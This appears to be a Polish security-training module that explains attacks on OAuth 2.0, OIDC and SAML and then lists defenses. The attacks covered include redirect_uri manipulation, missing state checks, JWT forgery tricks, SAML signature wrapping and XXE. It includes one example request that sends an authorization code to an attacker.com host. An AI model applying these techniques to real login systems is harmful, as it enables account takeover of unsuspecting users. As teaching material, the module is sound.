Przejdź do głównej zawartości

Ataki na OAuth 2.0, OIDC i SAML

Nowoczesne aplikacje rzadko zarządzają hasłami samodzielnie — delegują uwierzytelnianie do dostawców tożsamości przez OAuth 2.0, OpenID Connect (OIDC) i SAML (logowanie „Zaloguj się przez Google/Microsoft", SSO firmowe). Błędy w implementacji tych protokołów prowadzą do przejęcia kont (Account Takeover) bez znajomości hasła ofiary.

Szybkie wprowadzenie​

  • OAuth 2.0 – protokół autoryzacji (delegowanie dostępu do zasobów). Nie jest protokołem logowania, choć bywa do tego nadużywany.
  • OIDC – warstwa uwierzytelniania nad OAuth 2.0; dodaje id_token (JWT) z tożsamością użytkownika.
  • SAML – starszy, oparty na XML standard SSO, popularny w środowiskach korporacyjnych.

Kluczowe pojęcia OAuth: client_id, redirect_uri, state, scope, code, access_token. Najczęstszy przepływ to Authorization Code Flow.

Ataki na OAuth 2.0 / OIDC​

1️⃣ Manipulacja redirect_uri (kradzież kodu/tokenu)​

Jeśli serwer autoryzacji nie waliduje ściśle redirect_uri, atakujący przekieruje kod autoryzacyjny na swój serwer:

GET /authorize?client_id=app&response_type=code&redirect_uri=https://attacker.com/callback&state=xyz

Słabości do przetestowania:

  • akceptacja dowolnej subdomeny lub ścieżki (https://app.com.attacker.com, https://app.com/../callback),
  • dopasowanie po prefiksie zamiast pełnego URL,
  • otwarte przekierowanie (open redirect) w obrębie zaufanej domeny, użyte jako odbicie kodu.

2️⃣ Brak/niepoprawna walidacja parametru state (CSRF na OAuth)​

state chroni przed CSRF w przepływie logowania. Jeśli aplikacja go nie weryfikuje, atakujący może podpiąć swoje konto dostawcy do sesji ofiary (account linking CSRF) lub zalogować ofiarę na konto atakującego.

3️⃣ Wyciek tokenu przez Referer​

Gdy kod/token trafia do URL (np. Implicit Flow z access_token we fragmencie), a strona ładuje zasoby zewnętrzne — token wycieka w nagłówku Referer.

4️⃣ Nadużycie Implicit Flow i podmiana tokenu​

Implicit Flow (response_type=token) jest uznany za przestarzały. Token w URL łatwo przechwycić; brak powiązania tokenu z klientem umożliwia token injection (wstrzyknięcie tokenu wydanego dla innej aplikacji).

5️⃣ Account Takeover przez niezweryfikowany e-mail​

Klasyczny błąd: aplikacja kojarzy konto OAuth z lokalnym po adresie e-mail bez weryfikacji. Jeśli dostawca pozwala ustawić dowolny, niezweryfikowany e-mail, atakujący loguje się jako ofiara.

6️⃣ Ataki na id_token (JWT)​

id_token to JWT — dotyczą go wszystkie ataki z modułu Broken Authentication:

  • alg: none,
  • słaby klucz HS256 (brute-force),
  • pomylenie algorytmów (RS256→HS256 z kluczem publicznym jako sekretem),
  • kid injection / podstawienie jwks_uri na kontrolowany przez atakującego.

🧭 Zasada: walidacja tokenu ma dwie połowy — „kto wydał” i „dla kogo”. Poprawny podpis dowodzi, że token wydał zaufany serwer autoryzacji; nie dowodzi, że wydał go dla mojego API. Jeden dostawca tożsamości zwykle wystawia tokeny dla wielu API tym samym kluczem i z tym samym iss — jeśli API sprawdza tylko podpis, wydawcę i ważność, przyjmie token wystawiony dla cudzego API (np. token klienta otwierający funkcje admina). Dlatego aud musi być parametrem wymaganym walidacji, nie opcjonalnym. Druga, częsta pomyłka: ID token to nie access token. ID token jest adresowany do aplikacji klienckiej (client_id) i mówi jej, kto się zalogował — API przyjmujące go jako przepustkę przyjmuje dokument wystawiony komuś innemu. Test regresyjny: podaj ważny token z innym aud i oczekuj 401. — Haro Peralta, Secure APIs, s. 86–87, 163, 220–222; OWASP ASVS 5.0

🧭 Token na okaziciela jest równie cenny co hasło. Skradziony bearer/JWT/refresh token omija zarówno hasło, jak i MFA (bo MFA weryfikuje się raz, przy wydaniu). Dla operacji o podwyższonym ryzyku warto związać token z nadawcą (sender-constrained token), żeby przechwycony token bez klucza był bezużyteczny: mTLS (RFC 8705) — odcisk certyfikatu klienta w claimie cnf.x5t#S256; albo DPoP (RFC 9449) — klient generuje własną parę kluczy, token dostaje cnf.jkt, a każde żądanie niesie świeży, jednorazowy DPoP JWT związany z metodą (htm), adresem (htu) i tokenem (ath). Przechwycony nagłówek DPoP pasuje wtedy tylko do jednego żądania. — Haro Peralta, Secure APIs, s. 179–184; Singh, The Ultimate Kali Linux Book (pass-the-ticket/pass-the-hash jako ten sam wzorzec)

SSRF przez OpenID Connect​

Niektóre serwery pobierają konfigurację dostawcy z .well-known/openid-configuration lub klucze z jwks_uri. Jeśli te adresy są kontrolowane przez wejście użytkownika (np. dynamiczny issuer), powstaje SSRF — powiązanie z modułem SSRF/RCE.

Ataki na SAML​

SAML opiera się na podpisanych asercjach XML — błędy w weryfikacji podpisu są krytyczne.

1️⃣ XML Signature Wrapping (XSW)​

Atakujący przemyca dodatkową, niepodpisaną asercję obok poprawnie podpisanej, licząc na to, że parser weryfikuje jedną część, a przetwarza inną. Pozwala podmienić tożsamość (NameID) na dowolnego użytkownika, np. admin.

2️⃣ Brak walidacji podpisu​

Test: usuń element <ds:Signature> z asercji. Jeśli logowanie nadal działa — Service Provider nie weryfikuje podpisu.

3️⃣ XXE w parserze SAML​

Asercja to XML — wstrzyknięcie encji zewnętrznej może dać file disclosure/SSRF (powiązanie z modułem XXE).

4️⃣ Narzędzia​

  • SAML Raider (rozszerzenie Burp) – edycja asercji, automatyczne ataki XSW, podmiana podpisów.
  • Burp Suite – dekodowanie Base64/inflate komunikatów SAML.

Metodyka testowania​

  1. Zmapuj przepływ – przechwyć cały handshake w Burp (/authorize, /callback, /token).
  2. Atakuj redirect_uri – testuj subdomeny, ścieżki, open redirect.
  3. Sprawdź state i powiązanie z sesją.
  4. Przeanalizuj tokeny – zdekoduj JWT (jwt_tool), sprawdź algorytm i walidację.
  5. Dla SAML – przechwyć asercję, testuj brak podpisu i XSW (SAML Raider).

Jak zabezpieczyć implementację?​

✅ Ścisła walidacja redirect_uri – pełne, dokładne dopasowanie z allowlisty. ✅ Wymuszaj i weryfikuj state (oraz nonce w OIDC). ✅ Używaj Authorization Code Flow z PKCE; porzuć Implicit Flow. ✅ Weryfikuj id_token – algorytm, iss, aud, exp, sygnaturę względem zaufanego JWKS. ✅ Nie kojarz kont po niezweryfikowanym e-mailu. ✅ W SAML – waliduj podpis całej asercji, używaj odpornych na XSW bibliotek, wyłącz DTD/encje w parserze.

Błędy w OAuth/OIDC/SAML to jedna z najczęstszych dróg do Account Takeover w nowoczesnych aplikacjach. Kolejnym krokiem będzie analiza Logiki biznesowej i Race Conditions!